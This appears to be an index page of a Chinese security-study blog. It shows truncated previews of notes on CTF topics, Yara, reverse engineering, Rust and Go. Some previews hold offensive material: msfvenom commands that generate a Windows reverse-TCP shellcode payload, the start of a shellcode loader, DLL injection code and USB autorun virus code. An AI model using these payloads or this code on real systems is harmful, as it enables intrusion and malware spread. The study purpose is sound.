Windows-SEH构造方法
Windows-SEH构造方法本篇为CTF专题,详细了解看“WindowsAPI查缺补漏-异常处理”。常用系统异常值:
异常
异常值
解释
EXCEPTION_ACCESS_VIOLATION
0xC0000005
程序企图读写一个不可访问的地址时引发的异常。例如企图读取0地址处的内存。
EXCEPTION_ARRAY_BOUNDS_EXCEEDED
0xC000008C
数组访问越界时引发的异常。
EXCEPTION_BREAKPOINT
0x80000003
触发断点时引发的异常。
EXCEPTION_DATATYPE_MISALIGNMENT
0x80000002
程序读取一个未经对齐的数据时引发的异常。
EXCEPTION_FLT_DENORMAL_OPERAND
0xC000008D
如果浮点数操作的操作数是非正常的,则引发该异常。所谓非正常,即它的值太小以至于不能用标准格式表示出来。
EXCEPTION_FLT_DIVIDE_BY_ZERO
0xC000008E
浮点数除法的除数是0时引发该异常。
EXCEPTION_FLT_INEXAC ...
CvxPy整数规划笔记
CvxPy整数规划笔记安装12pip install cvxpypip install cvxopt
实例:[HNCTF 2022 WEEK3]Help_Me!01背包问题。
12345678910111213import numpy,cvxpy,syssys.setrecursionlimit(1000000000) #设置最大递归深度weight=[71,34,82,23,1,88,12,57,10,68,5,33,37,69,98,24,26,83,16,26] #每样东西的重量value=[26,59,30,19,66,85,94,8,3,44,5,1,41,82,76,1,12,81,73,32] #每样东西的价值index=numpy.array(weight)mul_value=numpy.array(value)x=cvxpy.Variable(20,integer=True) #20个物品,定义一个未知数向量obj=cvxpy.Maximize(x@mul_value) #object目标:@是numpy中的矩阵乘法,目标为x点乘mul_value的值最大 Mini ...
Yara使用入门
Yara使用入门安装Github上下载yara和yara-rules,放在同一目录下,配置环境变量。
index.yar引用了所有规则,使用时例如:
1yara index.yar 1.php
常用参数:
-w关闭警告信息,-m设置输出meta信息,-s设置输出匹配字符串,-g设置输入标签信息。
1yara -w -msg index.yar *.*
Android反调试
Android反调试12345678protected void onCreate(Bundle arg4){ ApplicationInfo v1=this.getApplicationInfo(); int v2=v1.flags&2; v1.flag2=v2; if(v2!=0){ Process.killProcess(Process.myPid()); }}
逆向工程核心原理读书笔记
《逆向工程核心原理》读书笔记CreateRemoteThread()myhack.dll:
1234567891011121314151617181920212223242526272829#include "windows.h"#include "tchar.h"#pragma comment(lib, "urlmon.lib") //链接urlmon.lib#define DEF_URL (L"http://www.naver.com/index.html")#define DEF_FILE_NAME (L"index.html")HMODULE g_hMod = NULL;DWORD WINAPI ThreadProc(LPVOID lParam){ TCHAR szPath[_MAX_PATH] = {0,}; if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )//返回当 ...
Rust语言基础
Rust语言基础命令行输出12345fn main(){ let a=12; println!("a is {0}, a again is {0}",a); println!("{{}}");//输出大括号}
详细输出123456789#[derive(Debug)] //打印详细信息struct Rectangle{ width:u32, height:u32,}fn main(){ let rect1=Rectangle{width:30,height:50}; println!("rect1 is {:?}",rect1);//替换为{:#?}时输出带格式的输出}
命令行输入123456use std::io::stdin;fn main(){ let mut s ...
SMC技术实现
SMC技术实现丢Viisual Studio2022里报了俩错,不会修。丢Dev-C++不报错,但是Release版还保留着原变量名、函数名,搞不懂。
12345678910111213141516171819202122232425262728//flag{smc_is_good!}#include <cstdio>#include <windows.h>using namespace std;char input[50];unsigned long long encrypt[]={0x53e5e8325de5938b,0x57e5c0dede2de472,0x9b6ba65e9b6b0093,0x9b6ba15c9b6bac5f,0x9b6bbb5a9b6ba75d,0x9b6bad589b6bb35b,0x9b6b9f569b6ba359,0x9b6bb3549b6ba957,0x9b6ba7529b6b9f55,0x9b6baf509b6baf53,0x9b6be14e9b6ba451,0x35adc0dede16bd4f, ...
C++病毒技术
C++病毒技术病毒分析https://www.virscan.org
https://support.virustotal.com/hc/en-us
https://s.threadbook.com/
https://habo.qq.com/
Windows API编程U盘病毒文件、驱动器操作。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354#include <Windows.h>char szAutoRun[]="[AutoRun] \\r\nopen=notepad.exe \\r\nshell\\open=打开(&O) \\r\nshell\\open\\Command=notepad.exe \\r\nshell\\explore=资源管理器(&X) \\r\nshell\\explore\\Command=notepad.exe \\r\nshellexecute=notepad.exe ...
恶意代码逆向分析基础详解读书笔记
恶意代码逆向分析基础详解读书笔记生成执行shellcodeMsfVenom12msfvenom -p windows/peterpreter/reverse_tcp LHOST=192.168.10.129 LPORT=4444 -f c #C语言版msfvenom -p windows/peterpreter/reverse_tcp LHOST=192.168.10.129 LPORT=4444 -f python #Python版
执行PE节中shellcodescdbg1scdbg.exe /f *.* #分析二进制文件*.*调用的WindowsAPI函数
.text节区12345678910111213141516171819202122#include <windows.h>#include <stdio.h>#include <stdlib.h>#include <string.h>int main(void){ void* alloc_mem; BOOL retval; HANDLE Thre ...
Go语言基础
Go语言基础入门代码结构1234567package mainimport "fmt"func main(){ fmt.Print("..."); fmt.Println("..."); return;}
语句123var i int;i=300;fmt.Print(i);
代码块12345if a>0{ //...}else{ /*...*/}
运算符基础运算符1234567891011package main;import( "fmt")func main(){ var m,n int; fmt.Scan(&m,&n); r1:=m+n;//不需var声明直接使用 fmt.Printf("%d+%d=%d\n",m,n,r1); return;};
指数运算123456result:=math.Pow(5,3) ...